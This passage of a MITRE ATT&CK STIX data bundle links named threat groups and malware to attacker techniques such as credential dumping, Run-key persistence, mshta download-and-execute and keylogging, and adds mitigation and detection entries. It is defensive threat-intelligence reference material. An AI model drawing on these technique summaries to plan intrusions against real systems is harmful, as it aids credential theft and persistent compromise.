"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}, {"url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "source_name": "SecureWorks BRONZE UNION June 2017"}], "modified": "2020-03-20T00:22:39.692Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36c4252b-fc24-467e-b56b-56ba29bb4026", "type": "relationship", "created": "2021-05-06T15:18:49.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-05-06T15:18:49.480Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) can collect the username on a targeted system.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36cdeef3-a216-44cd-ad79-dd8085e86fc3", "type": "relationship", "created": "2019-06-05T13:06:06.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro njRAT 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."}], "modified": "2019-06-24T18:57:11.314Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) can capture screenshots of the victim\u2019s machines.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--36d45d93-4a7f-4af1-b89a-2c2744f6b535", "type": "relationship", "created": "2020-11-09T21:54:38.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). 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(2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}], "modified": "2020-04-28T12:47:25.954Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to hide and unhide files.(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--37599333-0974-4442-976e-6f8d8c3ceac7", "created": "2022-04-13T20:57:29.089Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. 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Retrieved November 4, 2020."}], "modified": "2020-11-04T16:54:47.538Z", "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used mshta.exe to download and execute applications from a remote server.(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--375d3b8b-0e1b-4d3b-b31f-43b0e98436a5", "type": "relationship", "created": "2020-02-12T14:37:27.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-28T16:07:44.902Z", "description": "Use remote desktop gateways.", "relationship_type": "mitigates", "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--375f4ab4-542f-42f6-9577-f66a6e20f9ca", "type": "relationship", "created": "2019-11-07T19:44:04.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/", "description": "Falcone, R. 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Retrieved January 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CharmPower](https://attack.mitre.org/software/S0674) can send victim data via FTP with credentials hardcoded in the script.(Citation: Check Point APT35 CharmPower January 2022)", "modified": "2022-04-08T21:27:18.860Z", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--37da9e7e-f366-4211-84bd-34fd9c43d681", "type": "relationship", "created": "2020-08-17T14:37:43.670Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. 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Retrieved March 25, 2019."}, {"source_name": "Picus Emotet Dec 2018", "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."}], "modified": "2019-06-28T15:25:29.858Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing links. 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Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:41:15.597Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) has delivered compressed executables within ZIP files to victims.(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--383eccfd-da19-4b2e-9e9c-0e36c876c2ee", "type": "relationship", "created": "2021-01-25T13:58:25.169Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-11T23:13:04.838Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) has used <code>cmd.exe</code> to add a persistent service.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38401cd8-3fe6-42a2-9f08-dce063afd894", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, such as Windows EID 4769 or 4768, that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.", "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38416e2a-3590-4827-9a6f-d8f1df6568af", "type": "relationship", "created": "2019-01-30T15:33:07.643Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.225Z", "description": "[APT1](https://attack.mitre.org/groups/G0006) gathered a list of running processes on the system using <code>tasklist /v</code>.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38419f2f-51d2-47ed-9fd9-bba3712474cc", "type": "relationship", "created": "2019-01-30T17:48:35.683Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "modified": "2021-06-16T15:50:05.279Z", "description": "[zwShell](https://attack.mitre.org/software/S0350) has used SchTasks for execution.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3843a4eb-cf3b-4cf9-91db-5a481ce3f32d", "type": "relationship", "created": "2022-03-26T03:47:59.083Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}], "modified": "2022-03-26T03:47:59.083Z", "description": "[Mythic](https://attack.mitre.org/software/S0699) supports SSL encrypted C2.(Citation: Mythc Documentation)\t", "relationship_type": "uses", "source_ref": "tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--38467bd5-4afc-4c64-b8c0-8c7140ac9e58", "created": "2021-12-27T16:53:13.985Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Uptycs Confucius APT Jan 2021", "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used a weaponized Microsoft Word document with an embedded RTF exploit.(Citation: Uptycs Confucius APT Jan 2021)", "modified": "2022-06-30T20:15:32.699Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38482de7-5eb7-4baf-9007-2e1a6efe9622", "type": "relationship", "created": "2020-03-09T13:17:39.424Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction", "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", "source_name": "Microsoft ASR Nov 2017"}, {"url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", "source_name": "Enigma Reviving DDE Jan 2018"}], "modified": "2022-02-22T13:22:30.481Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.(Citation: Microsoft ASR Nov 2017)(Citation: Enigma Reviving DDE Jan 2018)", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--384b6787-f69b-4d81-bc5e-c01a5c5b026e", "created": "2021-12-27T19:19:42.717Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can collect compromised host information, including OS version, PC name, RAM size, and CPU details.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T17:31:15.330Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--384c2ef7-ae14-4ba2-ad86-bfeea3c14f33", "type": "relationship", "created": "2021-12-27T19:19:42.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}], "modified": "2021-12-27T19:19:42.916Z", "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has the capability to act as a reverse proxy.(Citation: Check Point Warzone Feb 2020)", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell Sakula", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}], "modified": "2020-03-17T02:29:53.447Z", "description": "Most [Sakula](https://attack.mitre.org/software/S0074) samples maintain persistence by setting the Registry Run key <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> in the HKLM or HKCU hive, with the Registry value and file name varying by sample.(Citation: Dell Sakula)", "relationship_type": "uses", "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--384ef910-fabc-4e87-ad19-8f632b69851c", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--385f57f4-87b6-4126-ab67-531e482ec9bc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Regin", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}], "modified": "2020-06-29T01:54:53.318Z", "description": "[Regin](https://attack.mitre.org/software/S0019) contains a keylogger.(Citation: Kaspersky Regin)", "relationship_type": "uses", "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3863f565-a654-45ad-8fb9-43d016d9b8a4", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-11T20:25:38.052Z", "description": "Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). For example, on macOS systems <code>log show --predicate 'process = \"sshd\"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nFor Linux systems, the Audit framework (auditd) can be used to monitor for the creation of SSH related processes such as ssh. \n\nFor macOS systems (10.12+), the above command can be used to look through the Unified Logs for SSH connection activity, though we also recommend including the \u201c\u2014debug\u201d parameter to ensure that all relevant data is returned: <code>log show --info --debug --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3868dccd-cc1d-49b4-a940-6055a4c65746", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-15T13:33:09.977Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes, that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nNote: On Windows, Sysmon Event ID 7 (Image loaded) can be used to monitor the loading of DLLs into processes, including those designed to accept remote connections. This is a particularly noisy event and can generate a large volume of data, so we recommend baselining and filtering out any known benign processes and module to help reduce the number of events that are produced.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--386a591e-3e8e-4f23-8a5c-60abfa831d30", "type": "relationship", "created": "2020-02-21T16:22:09.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T16:22:09.780Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--386d6f27-a0a6-44c9-bd03-8a332c5ce9e2", "created": "2022-09-16T15:54:50.081Z", "revoked": false, "external_references": [{"source_name": "ESET Operation Spalax Jan 2021", "description": "M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. 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(2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}], "modified": "2020-03-16T17:29:45.968Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for capturing keystrokes per process including window titles.(Citation: CIRCL PlugX March 2013)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38f54e6f-502c-4af5-9867-fa9fb8381662", "type": "relationship", "created": "2019-05-28T20:01:03.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Mar 2018", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}], "modified": "2019-05-30T17:23:30.640Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) leverages WMI to enumerate anti-virus on the victim.(Citation: Proofpoint TA505 Mar 2018)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38f5765d-0e42-4e63-9411-185983c6ca21", "type": "relationship", "created": "2021-07-16T19:32:57.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-07-16T19:32:57.791Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can identify the user id on a target machine.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--38f5e690-1ed8-45a8-a6cc-9dfe8e953706", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", "source_ref": 